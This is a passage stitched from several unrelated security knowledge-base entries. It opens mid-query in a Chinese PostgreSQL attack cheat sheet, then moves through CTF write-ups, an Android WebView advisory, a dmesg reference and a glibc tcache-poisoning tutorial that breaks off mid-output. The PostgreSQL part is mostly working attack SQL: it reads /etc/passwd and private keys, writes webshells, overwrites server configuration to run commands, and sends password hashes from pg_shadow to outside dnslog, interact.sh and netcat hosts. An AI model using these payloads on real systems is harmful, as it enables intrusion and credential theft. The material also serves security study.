r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolconnlimit, r.rolvaliduntil, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; ``` --- ## PostgreSQL 读文件 **方法1 pg_read_file** ```sql -- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径 select pg_read_file('/etc/passwd'); -- 单引号被转义的情况下使用 select/**/PG_READ_FILE($$/etc/passwd$$) ``` **方法2** ```sql create table testf0x(t TEXT); copy testf0x from '/etc/passwd'; select * from testf0x limit 1 offset 0; ``` **方法3 lo_import** lo_import 允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。 ```sql Select lo_import('/etc/passwd',12345678); select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a -- 单引号被转义的情况下使用 select/**/lo_import($$/etc/passwd$$,11111); select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111 ``` --- ## PostgreSQL 写文件 **写 webshell 所需的利用条件** - 拥有网站路径写入权限 - 知道网站绝对路径 **方法1 COPY** COPY 命令可以用于表和文件之间交换数据,这里可以用它写 webshell ```sql COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; ``` 也可以 base64 一下 ```sql COPY (select convert_from(decode('ZmZmZmZmZmYweA==','base64'),'utf-8')) to '/tmp/success.txt'; ``` **方法2 lo_export** lo_export 采用大对象 OID 和路径,将文件写入路径。 ```sql select lo_from_bytea(12349,'ffffffff0x'); SELECT lo_export(12349, '/tmp/ffffffff0x.txt'); -- base64 的形式 select lo_from_bytea(12350,decode('ZmZmZmZmZmYweA==','base64')); SELECT lo_export(12350, '/tmp/ffffffff0x.txt'); ``` **方法3 lo_export + pg_largeobject** ```sql -- 记下生成的lo_creat ID select lo_creat(-1); -- 替换 24577 为生成的lo_creat ID INSERT INTO pg_largeobject(loid, pageno, data) values (24577, 0, decode('ZmZmZmZmZmYweA==', 'base64')); select lo_export(24577, '/tmp/success.txt'); ``` 如果内容过多,那么首先创建一个 OID 作为写入的对象, 然后通过 0,1,2,3… 分片上传但是对象都为 12345 最后导出到 /tmp 目录下, 收尾删除 OID 写的文件每一页不能超过 2KB,所以我们要把数据分段,这里我就不拿 .so 文件为例了,就随便写个 txt 举个例子 ```sql SELECT lo_create(12345); INSERT INTO pg_largeobject VALUES (12345, 0, decode('6666', 'hex')); INSERT INTO pg_largeobject VALUES (12345, 1, decode('666666', 'hex')); INSERT INTO pg_largeobject VALUES (12345, 2, decode('6666', 'hex')); INSERT INTO pg_largeobject VALUES (12345, 3, decode('663078', 'hex')); SELECT lo_export(12345, '/tmp/ffffffff0x.txt'); SELECT lo_unlink(12345); ``` 或者还可以用 lo_put 在后面拼接进行写入 ```sql select lo_create(11116); select lo_put(11116,0,'dGVzdDEyM'); select lo_put(11116,9,'zQ1Ng=='); select lo_from_bytea(11141,decode(encode(lo_get(11116),'escape'),'base64')); select lo_export(11141,'/tmp/test.txt'); SELECT lo_unlink(11141); ``` 结束记得清理 OID 内容 ```sql -- 查看创建的 lo_creat ID select * from pg_largeobject -- 使用 lo_unlink 进行删除 SELECT lo_unlink(12345); ``` --- ## PostgreSQL 创建文件夹 ### 通过 log_directory 创建文件夹 > 方法来自于 https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/ 这篇文章的场景 **描述** 配置文件中的 log_directory 配置的目录不存在时,pgsql 启动会失败,但是如果日志服务已启动,在修改 log_directory 配置后再 reload_conf 目录会被创建 **原理** logging_collector 配置是否开启日志,只能在服务开启时配置,reloadconf 无法修改,log_directory 用来配置 log 日志文件存储到哪个目录,如果 log_directory 配置到一个不存在的目录,pgsql 会创建目录。 **利用条件** - 目标已经配置了 `logging_collector = on` **复现测试** 拿靶机中的 postgresql 为例,先查看配置文件的路径 ```bash select setting from pg_settings where name='config_file' ``` 查看内容 ```bash select pg_read_file('/var/lib/postgresql/data/postgresql.conf'); ``` 将配置文件中的 log_directory 配置修改 ``` log_destination = 'csvlog' log_directory = '/tmp/f0x' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' log_rotation_size = 100MB log_rotation_age = 1d log_min_messages = INFO logging_collector = on ``` 转为 base64 格式 ```bash # 这里我将配置文件的内容存到了 out.txt 中 cat out.txt | base64 -w 0 > base64.txt ``` ```sql -- 将修改后的配置文件加载到largeobject中 select lo_from_bytea(10001,decode('base64的内容,这里略','base64')); -- 通过lo_export覆盖配置文件 select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf'); SELECT lo_unlink(10001); -- 重新加载配置文件 select pg_reload_conf(); ``` ```sql -- 查询一下修改是否成功 select name,setting,short_desc from pg_settings where name like 'log_%'; ``` 进入靶机,可以看到 f0x 目录已经创建 --- ## PostgreSQL 带外数据 ```sql -- 开启 dblink 扩展 CREATE EXTENSION dblink -- 获取当前数据库用户名称 SELECT * FROM dblink('host='||(select user)||'.djw0pg.dnslog.cn user=test dbname=test', 'SELECT version()') RETURNS (result TEXT); ``` ```sql -- 查询当前密码 SELECT * FROM dblink('host='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')||'.c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh user=test dbname=test', 'SELECT version()') RETURNS (result TEXT); ``` ```sql -- nc 监听 nc -lvv 4445 select dblink_connect((select 'hostaddr=x.x.x.x port=4445 user=test password=test sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); ``` --- ## PostgreSQL 提权 ### 利用 UDF 命令执行 **描述** 在 8.2 以前,postgresql 不验证 magic block,可以直接调用本地的 libc.so ```sql CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc xxx.xx.xx.xx'); ``` 8.2 以上版本,需要自己编译 so 文件去创建执行命令函数,可以自己编译反弹 shell 后门,也可以用 sqlmap 提供好的 - https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/postgresql **复现测试** 可以参考 [No-Github/postgresql_udf_help](https://github.com/No-Github/postgresql_udf_help) ```bash # 找相应的 dev 扩展包 apt-get search postgresql-server-dev # 安装 dev 扩展包 apt-get install postgresql-server-dev-11 # apt install postgresql-server-dev-all # 编译好 .so 文件 git clone https://github.com/No-Github/postgresql_udf_help cd postgresql_udf_help gcc -Wall -I/usr/include/postgresql/11/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so strip -sx lib_postgresqludf_sys.so # 生成分片后的 sql 语句 cat lib_postgresqludf_sys.so | xxd -ps | tr -d "\n" > 1.txt python2 postgresql_udf_help.py 1.txt > sqlcmd.txt ``` ### PL/Python 扩展 **描述** PostgreSQL 可以支持多种存储过程语言,官方支持的除了 PL/pgSQL,还有 TCL,Perl,Python 等。 **复现测试** 默认 PostgreSQL 不会安装 Python 的扩展,这里我手动在靶机上安装下进行复现 ```sql select version(); ``` 先看下版本, pg 14 搜索下有没有对应的 plpython3u 版本安装 ```bash apt search postgresql-plpython ``` 有,那么直接装 ```bash apt install postgresql-plpython-14 ``` 安装完毕后记得注册下扩展 ```sql create extension plpython3u; ``` 查看是否支持 plpython3u ``` select * from pg_language; ``` 创建一个 UDF 来执行我们要执行的命令 ```sql CREATE FUNCTION system (a text) RETURNS text AS $$ import os return os.popen(a).read() $$ LANGUAGE plpython3u; ``` 创建好 UDF 后,进行调用 ```sql select system('ls -la'); ``` ### 利用 session_preload_libraries 加载共享库 > 方法来自于 https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/ 这篇文章的场景 **描述** session_preload_libraries 只允许 superuser 修改,但可以加载任意目录的库,session_preload_libraries 配置从 pg10 开始存在,低于 pg10 时,可以使用 local_preload_libraries,不过该配置只允许加载 $libdir/plugins/ 目录下的库,需要将库写入到该目录下。 当每次有新连接进来时,都会加载 session_preload_libraries 配置的共享库。 和上面的利用 UDF 命令执行一样,不过不同点在于上面一个是创建 function 加载,这个方式是通过改配置文件中的 session_preload_libraries 进行加载,这里就不复现了 ### 利用 ssl_passphrase_command 执行命令 > 方法来自于 https://pulsesecurity.co.nz/articles/postgres-sqli 这篇文章的场景 **描述** 当配置文件中配置了 ssl_passphrase_command ,那么该配置在需要获取用于解密SSL文件密码时会调用该配置的命令。 通过上传 pem,key 到目标服务器上,读取配置文件内容,修改配置文件中的ssl配置改为我们要执行的命令,通过lo_export覆盖配置文件,最后通过 pg_reload_conf 重载配置文件时将执行命令 **利用条件** - 需要知道 PG_VERSION 文件的位置 (不是 PG_VERSION 文件也行,pgsql限制私钥文件权限必须是0600才能够加载,pgsql目录下的所有0600权限的文件都是可以的,但覆盖后没啥影响的就 PG_VERSION 了) **复现** 这里以靶机上已经存在的2个密钥文件为例 ``` /etc/ssl/certs/ssl-cert-snakeoil.pem /etc/ssl/private/ssl-cert-snakeoil.key ``` 通过文件读取获取私钥 ```sql select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key'); ``` 对私钥文件加密 ```bash # 密码为 12345678 openssl rsa -aes256 -in ssl-cert-snakeoil.key -out private_passphrase.key # 输出为 base64 格式 cat private_passphrase.key | base64 -w 0 > base.txt ``` 上传 private_passphrase.key 到目标服务器上 由于 pgsql 限制私钥文件权限必须是 0600 才能够加载,这里搜索 pgsql 目录下的所有 0600 权限的文件,发现 PG_VERSION 文件符合条件,而且覆盖也没有太大影响 PG_VERSION 与 config_file 文件同目录,上传私钥文件覆盖 PG_VERSION,可绕过权限问题。 ```sql -- 将 private_passphrase.key 覆盖 PG_VERSION 文件 select lo_from_bytea(10004,decode('base64的内容,这里略','base64')); select lo_export(10004,'/var/lib/postgresql/data/PG_VERSION'); SELECT lo_unlink(10004); ``` 在靶机中查看验证是否写入成功 读取配置文件内容 ``` select setting from pg_settings where name='config_file' select pg_read_file('/var/lib/postgresql/data/postgresql.conf'); ``` 在原始配置文件内容末尾追加上ssl配置 ``` ssl = on ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' ssl_key_file = '/var/lib/postgresql/data/PG_VERSION' ssl_passphrase_command_supports_reload = on ssl_passphrase_command = 'bash -c "touch /tmp/success & echo 12345678; exit 0"' ``` 转为 base64 格式 ```bash # 这里我将配置文件的内容存到了 out.txt 中 cat out.txt | base64 -w 0 > base3.txt ``` ```sql -- 将修改后的配置文件加载到largeobject中 select lo_from_bytea(10001,decode('base64的内容,这里略','base64')); -- 通过lo_export覆盖配置文件 select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf'); SELECT lo_unlink(10001); -- 重新加载配置文件 select pg_reload_conf(); ``` 可以看到,重新加载配置文件后,ssl_passphrase_command 中的命令已经执行 ### CVE-2018-1058 PostgreSQL 提权漏洞 **漏洞描述** PostgreSQL 其 9.3 到 10 版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。 **相关文章** - [PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】](https://xz.aliyun.com/t/2109) **POC | Payload | exp** - [PostgreSQL 提权漏洞(CVE-2018-1058)](https://vulhub.org/#/environments/postgres/CVE-2018-1058/) ### CVE-2019-9193 PostgreSQL 高权限命令执行漏洞 **漏洞描述** PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。 **利用条件** - 版本 9.3-11.2 - 超级用户或者 pg_read_server_files 组中的任何用户 **相关文章** - [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) - [PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)](https://nosec.org/home/detail/2368.html) **POC | Payload | exp** ```sql DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; ``` ### CVE-2020-25695 权限提升 **相关文章** - [CVE-2020-25695 Postgresql中的权限提升](https://xz.aliyun.com/t/8682)
sec-knowleage
## ISolve (PPC) ###ENG [PL](#pl-version) The task was pretty obvious: the server provides us with a regular expression and we need to supply a string which can be matched by this regex. Since we're lazy we checked if someone has not done this already, and of course they did: https://bitbucket.org/leapfrogdevelopment/rstr/ So we simply write a short parser for the communication with server, and use `xeger` to get answers. We had to modify the xeger code a bit because it was generating `\n` in place of whitespace placeholders and the server was not handling this well, so we forced the library to use `\t` always for `\s`. There was also some issue with non-alphanumeric characters so we also forced those to a single chosen character. Rest was just the communication with the server: ```python import rstr import socket import re from time import sleep def recvuntil(s, pattern, tryouts): data = "" for i in range(tryouts): sleep(1) data += s.recv(9999) if pattern in data: return data return data def main(): url = "hack.bckdr.in" port = 7070 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) while True: task = recvuntil(s, "Pass your solution:", 10) print(task) to_solve = re.findall("Your regex:\s+(.*)\s+Pass your solution", task) if len(to_solve) == 0: print(task) else: print("to solve = '%s'" % to_solve[0]) solution = rstr.xeger(to_solve[0]) print("solution = %s" % solution) s.sendall(solution + "\n") main() ``` Which gave: ``` Passed regex! Way to go. ################################ ####### ROUND 47 ##### ################################ Your regex: ab* Pass your solution: to solve = 'ab*' solution = ab Passed regex! Way to go. Congratulations, you can now say ISOLVE flag{...} ``` ###PL version Zadanie było dość oczywiste koncepcyjnie: serwer podaje nam wyrażenie regularne a my mamy zwrócić ciąg znaków, który będzie przez to wyrażenie przyjęty. Jako, że jesteśmy leniwi z natury, sprawdziliśmy czy ktoś już czegoś podobnego nie napisał i oczywiście ktoś taki się znalazł: https://bitbucket.org/leapfrogdevelopment/rstr/ W związku z tym napisalismy krótki parser do komunikacji z serwerem i użylismy `xegera` do uzyskiwania odpowiedzi. Musieliśmy lekko zmodyfikować kod biblioteki ponieważ generowała znaki `\n` jako białe znaki, a serwer sobie z tym nie radził zbyt dobrze, w związku z tym wymusiliśmy używanie `\t` zawsze dla `\s`. Były też jakieś problemy ze znakami nie-alfanumerycznymi i te także sprowadziliśmy do jednego wybranego znaku. Reszta to już tylko komunikacja z serwerem: ```python import rstr import socket import re from time import sleep def recvuntil(s, pattern, tryouts): data = "" for i in range(tryouts): sleep(1) data += s.recv(9999) if pattern in data: return data return data def main(): url = "hack.bckdr.in" port = 7070 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) while True: task = recvuntil(s, "Pass your solution:", 10) print(task) to_solve = re.findall("Your regex:\s+(.*)\s+Pass your solution", task) if len(to_solve) == 0: print(task) else: print("to solve = '%s'" % to_solve[0]) solution = rstr.xeger(to_solve[0]) print("solution = %s" % solution) s.sendall(solution + "\n") main() ``` Co dało: ``` Passed regex! Way to go. ################################ ####### ROUND 47 ##### ################################ Your regex: ab* Pass your solution: to solve = 'ab*' solution = ab Passed regex! Way to go. Congratulations, you can now say ISOLVE flag{...} ```
sec-knowleage
# Hashcash - Pwn (150 + 0), 13 solves > Shall we play a game? We need help beta testing our fancy new cryptocurrency themed lottery game. There may just be a bounty in it for you if you can pwn it. In this task we were given a binary and `host:port` of the server. We actually solved the task withouth the binary, in a blackbox, probably unintended, way. Basic communication with the server was that it was sending us one byte nonce and difficulty level, then we have to send input such that `md5(nonce | input)` starts with n leading zero bytes. The difficulty rises with level, from just one byte needed, all the way up to 8, thus requiring `2^64` md5 evaluations. This is much too much, so we had to find another way. A quick googling on the subject showed us this website: http://0xf.kr/md5/. It keeps track of the smallest md5 outputs ever generated, and it looks like the record has exactly 8 zeros at the start. If there was no nonce specified, we would be able to use that preimage. But since the nonce is just one byte, we can just wait for the server to generate one that is the first byte of our found input. Then we just send the rest, and we're done.
sec-knowleage
## Android WebView跨域访问漏洞(CNVD-2017-36682) > 腾讯玄武实验室 2017年12月7日 ### 漏洞描述 Android WebView存在跨域访问漏洞。该漏洞产生的原因是由于Android应用WebView开启了file域访问,且允许file域访问http域,未对file域的路径做严格限制所致。攻击者可以利用漏洞,远程获取APP中的所有本地敏感数据。 ### 影响范围 漏洞影响使用WebView控件,开启file域访问并且未按安全策略开发的Android应用APP。 ### 漏洞详情 #### 漏洞位置 ```java public class WebViewActivity extends Activity { private WebView webView; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_webview); webView = (WebView) findViewById(R.id.webView1); //webView.getSettings().setAllowFileAccess(false); (1) //webView.getSettings().setJavaScriptEnabled(true); (2) //webView.getSettings().setAllowFileAccessFromFileURLs(true); (3) //webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (4) Intent i = getIntent(); String url = i.getData().toString(); webView.loadUrl(url); } } ``` #### 漏洞触发条件 1. WebView中setAllowFileAccessFromFileURLs 或setAllowUniversalAccessFromFileURLsAPI配置为true; 2. WebView可以直接被外部调用,并能够加载外部可控的HTML文件。 #### 漏洞原理 在Android应用中,WebView开启了file域访问,允许file域访问http域,且未对file域的路径进行严格限制所致。攻击者通过URL Scheme的方式,可远程打开并加载恶意HTML文件,远程获取APP中包括用户登录凭证在内的所有本地敏感数据。 ### poc/exp #### 例子 1 某个app 1. 如图X5WebView类继承了webview类,并且设置了允许file协议,以及启用了javascript执行; ![11111](png/webview_cros_1.png) 2. 再看看使用该X5Webview类的Activity,发现URL是从intent传递的对象中获取的,并且没有做任何白名单处理,直接启动了Activity; ![11111](png/webview_cros_2.png) 3. 并且发现该activity是可导出的,如图: ![11111](png/webview_cros_3.png) 基于以上三点,攻击者可以用恶意链接实现生成本地恶意攻击html,并传递恶意html的file路径给可导出的组件,该组件加载访问html文件执行其中的恶意js,会导致私有目录中的文件被攻击者获取。 ### 漏洞修复建议 1. file域访问为非功能需求时,手动配置setAllowFileAccessFromFileURLs或setAllowUniversalAccessFromFileURLs两个API为false。 (Android4.1版本之前这两个API默认是true,需要显式设置为false,因未找到设置的接口,4.1版本之前暂不做操作,4.1版本后需要防止显示设置为true,如果设置为true的话,防止loadUrl的传参url为可被攻击的) 2. 若需要开启file域访问,则设置file路径的白名单,严格控制file域的访问范围,具体如下: - 固定不变的HTML文件可以放在assets或res目录下,file:///android_asset和file:///android_res 在不开启API的情况下也可以访问; - 可能会更新的HTML文件放在/data/data/(app) 目录下,避免被第三方替换或修改; - 对file域请求做白名单限制时,需要对“../../”特殊情况进行处理,避免白名单被绕过。 3. 避免App内部的WebView被不信任的第三方调用。排查内置WebView的Activity是否被导出、必须导出的Activity是否会通过参数传递调起内置的WebView等。 4. 建议进一步对APP目录下的敏感数据进行保护。客户端APP应用设备相关信息(如IMEI、IMSI、Android_id等)作为密钥对敏感数据进行加密。使攻击者难以利用相关漏洞获得敏感信息。
sec-knowleage
dmesg === 显示Linux系统启动信息 ## 补充说明 **dmesg命令** 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在`/var/log/dmesg`文件里。 ### 语法 ```shell dmesg(选项) ``` ### 选项 ```shell -c:显示信息后,清除ring buffer中的内容; -s<缓冲区大小>:预设置为8196,刚好等于ring buffer的大小; -n:设置记录信息的层级。 ``` ### 实例 ```shell [root@localhost ~]# dmesg | head Linux version 2.6.18-348.6.1.el5 (mockbuild@builder17.centos.org) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-54)) #1 SMP Tue May 21 15:34:22 EDT 2013 BIOS-provided physical RAM map: BIOS-e820: 0000000000010000 - 000000000009f400 (usable) BIOS-e820: 000000000009f400 - 00000000000a0000 (reserved) BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000007f590000 (usable) BIOS-e820: 000000007f590000 - 000000007f5e3000 (ACPI NVS) BIOS-e820: 000000007f5e3000 - 000000007f5f0000 (ACPI data) BIOS-e820: 000000007f5f0000 - 000000007f600000 (reserved) BIOS-e820: 00000000e0000000 - 00000000e8000000 (reserved) ``` 查看硬盘基础信息 ```shell dmesg | grep sda [ 2.442555] sd 0:0:0:0: [sda] 488281250 512-byte logical blocks: (250 GB/232 GiB) [ 2.442590] sd 0:0:0:0: [sda] Write Protect is off [ 2.442592] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00 [ 2.442607] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [ 2.447533] sda: sda1 [ 2.448503] sd 0:0:0:0: [sda] Attached SCSI disk ``` 查看多关键字 ```shell dmesg | grep -E "vcc5v0_host|vcc_3v3_s0|ttyS" [ 1.193143] vcc5v0_host: supplied by vcc5v0_usb [ 1.481139] feb80000.serial: ttyS5 at MMIO 0xfeb80000 (irq = 73, base_baud = 1500000) is a 16550A [ 1.513541] vcc_3v3_s0: supplied by vcc5v0_sys ```
sec-knowleage
### The introduction of Tcache overview 在 tcache 中新增了两个结构体,分别是 tcache_entry 和 tcache_perthread_struct ```C /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread tcache_perthread_struct *tcache = NULL; ``` 其中有两个重要的函数, `tcache_get()` 和 `tcache_put()`: ```C static void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } static void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; } ``` 这两个函数会在函数 [_int_free](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l4173) 和 [__libc_malloc](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l3051) 的开头被调用,其中 `tcache_put` 当所请求的分配大小不大于`0x408`并且当给定大小的 tcache bin 未满时调用。一个tcache bin中的最大块数`mp_.tcache_count`是`7`。 ```c /* This is another arbitrary limit, which tunables can change. Each tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 #endif ``` 再复习一遍 `tcache_get()` 的源码 ```C static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; } ``` 在 `tcache_get` 中,仅仅检查了 **tc_idx** ,此外,我们可以将 tcache 当作一个类似于 fastbin 的单独链表,只是它的check,并没有 fastbin 那么复杂,仅仅检查 ` tcache->entries[tc_idx] = e->next;` ### The introduction of Tcache Usage - 内存释放: 可以看到,在free函数的最先处理部分,首先是检查释放块是否页对齐及前后堆块的释放情况,便优先放入tcache结构中。 ```c _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ size = chunksize (p); /* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder. */ if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer"); /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) malloc_printerr ("free(): invalid size"); check_inuse_chunk(av, p); #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } #endif ...... } ``` - 内存申请: 在内存分配的malloc函数中有多处,会将内存块移入tcache中。 (1)首先,申请的内存块符合fastbin大小时并且在fastbin内找到可用的空闲块时,会把该fastbin链上的其他内存块放入tcache中。 (2)其次,申请的内存块符合smallbin大小时并且在smallbin内找到可用的空闲块时,会把该smallbin链上的其他内存块放入tcache中。 (3)当在unsorted bin链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到tcache中,继续处理。 代码太长就不全贴了,贴个符合fastbin 的时候 ```c if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp; victim = *fb; if (victim != NULL) { if (SINGLE_THREAD_P) *fb = victim->fd; else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr ("malloc(): memory corruption (fast)"); check_remalloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } } ``` - tcache 取出:在内存申请的开始部分,首先会判断申请大小块,在tcache是否存在,如果存在就直接从tcache中摘取,否则再使用_int_malloc分配。 - 在循环处理unsorted bin内存块时,如果达到放入unsorted bin块最大数量,会立即返回。默认是0,即不存在上限。 ```c #if USE_TCACHE /* If we've processed as many chunks as we're allowed while filling the cache, return one of the cached ones. */ ++tcache_unsorted_count; if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) { return tcache_get (tc_idx); } #endif ``` - 在循环处理unsorted bin内存块后,如果之前曾放入过tcache块,则会取出一个并返回。 ```c #if USE_TCACHE /* If all the small chunks we found ended up cached, return one now. */ if (return_cached) { return tcache_get (tc_idx); } #endif ``` ### The introduction of Pwn tcache poisoning 通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。 以 how2heap 中的 [tcache_poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/tcache_poisoning.c) 为例 看一下源码 ```C glibc_2.26 [master●] bat tcache_poisoning.c ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: tcache_poisoning.c ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ #include <stdio.h> 2 │ #include <stdlib.h> 3 │ #include <stdint.h> 4 │ 5 │ int main() 6 │ { 7 │ fprintf(stderr, "This file demonstrates a simple tcache poisoning attack │ by tricking malloc into\n" 8 │ "returning a pointer to an arbitrary location (in this case, the │ stack).\n" 9 │ "The attack is very similar to fastbin corruption attack.\n\n"); 10 │ 11 │ size_t stack_var; 12 │ fprintf(stderr, "The address we want malloc() to return is %p.\n", (char │ *)&stack_var); 13 │ 14 │ fprintf(stderr, "Allocating 1 buffer.\n"); 15 │ intptr_t *a = malloc(128); 16 │ fprintf(stderr, "malloc(128): %p\n", a); 17 │ fprintf(stderr, "Freeing the buffer...\n"); 18 │ free(a); 19 │ 20 │ fprintf(stderr, "Now the tcache list has [ %p ].\n", a); 21 │ fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of t │ he data at %p\n" 22 │ "to point to the location to control (%p).\n", sizeof(intptr_t), │ a, &stack_var); 23 │ a[0] = (intptr_t)&stack_var; 24 │ 25 │ fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); 26 │ fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var); 27 │ 28 │ intptr_t *b = malloc(128); 29 │ fprintf(stderr, "2st malloc(128): %p\n", b); 30 │ fprintf(stderr, "We got the control\n"); 31 │ 32 │ return 0; 33 │ } ───────┴───────────────────────────────────────────────────────────────────────────────── ``` 运行结果是 ```bash glibc_2.26 [master●] ./tcache_poisoning This file demonstrates a simple tcache poisoning attack by tricking malloc into returning a pointer to an arbitrary location (in this case, the stack). The attack is very similar to fastbin corruption attack. The address we want malloc() to return is 0x7fff0d28a0c8. Allocating 1 buffer. malloc(128): 0x55f666ee1260 Freeing the buffer... Now the tcache list has [ 0x55f666ee1260 ]. We overwrite the first 8 bytes (fd/next pointer) of the data at 0x55f666ee1260 to point to the location to control (0x7fff0d28a0c8). 1st malloc(128): 0x55f666ee1260 Now the tcache list has [ 